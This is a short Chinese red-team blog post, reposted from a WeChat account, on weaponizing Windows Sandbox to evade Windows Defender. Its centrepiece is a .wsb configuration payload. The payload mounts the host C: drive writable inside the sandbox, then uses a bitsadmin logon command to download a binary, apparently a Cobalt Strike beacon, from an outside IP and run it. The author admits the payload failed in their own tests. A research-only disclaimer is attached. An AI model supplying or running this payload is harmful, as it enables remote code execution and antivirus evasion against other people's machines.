什么是WSB？
全称Windows Sandbox：一个独立的临时桌面环境，可以在其中运行不受信任的软件，而不必担心会对您的PC产生持久影响。Windows Sandbox中安装的任何软件仅保留在沙箱中，不会影响您的主机。Windows Sandbox关闭后，将永久删除包含其所有文件和状态的所有软件。
启用方法如下：
Enable-WindowsOptionalFeature -FeatureName "Containers-DisposableClientVM" -All -Online
WSB利用
由于其特殊性，WSB不受windows defender的保护。
而根据微软文档所说，我们可以使用.wsb文件来定制我们的沙箱内容。
<Configuration><LogonCommand><Command>cmd.exe</Command></LogonCommand></Configuration>
这样启动的沙箱，会默认开启cmd窗口。
也可以进行文件夹的映射。
<MappedFolders><MappedFolder><HostFolder>C:</HostFolder><SandboxFolder>C:UsersWDAGUtilityAccountC_Mount</SandboxFolder><ReadOnly>false</ReadOnly></MappedFolder>
最终的payload：
<Configuration><MappedFolders><MappedFolder><HostFolder>C:</HostFolder><SandboxFolder>C:UsersWDAGUtilityAccountUserFiles</SandboxFolder><ReadOnly>false</ReadOnly></MappedFolder></MappedFolders><LogonCommand><Command>cmd.exe /c ping 127.0.0.1 -n 3 >null & bitsadmin /transfer myjob /download /priority high http://192.168.2.114/cs_wsb_test.bin "%APPDATA%cs.exe">nul & start %APPDATA%cs.exe</Command></LogonCommand></Configuration>
注：本人测试时，一直提示错误，如果有师傅成功，望留言处指出，感激不尽。
原文地址：https://blog.syscall.party/post/weaponizing-windows-sandbox/
本文始发于微信公众号（鸿鹄实验室）：RedTips之使用WSB绕过defender
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论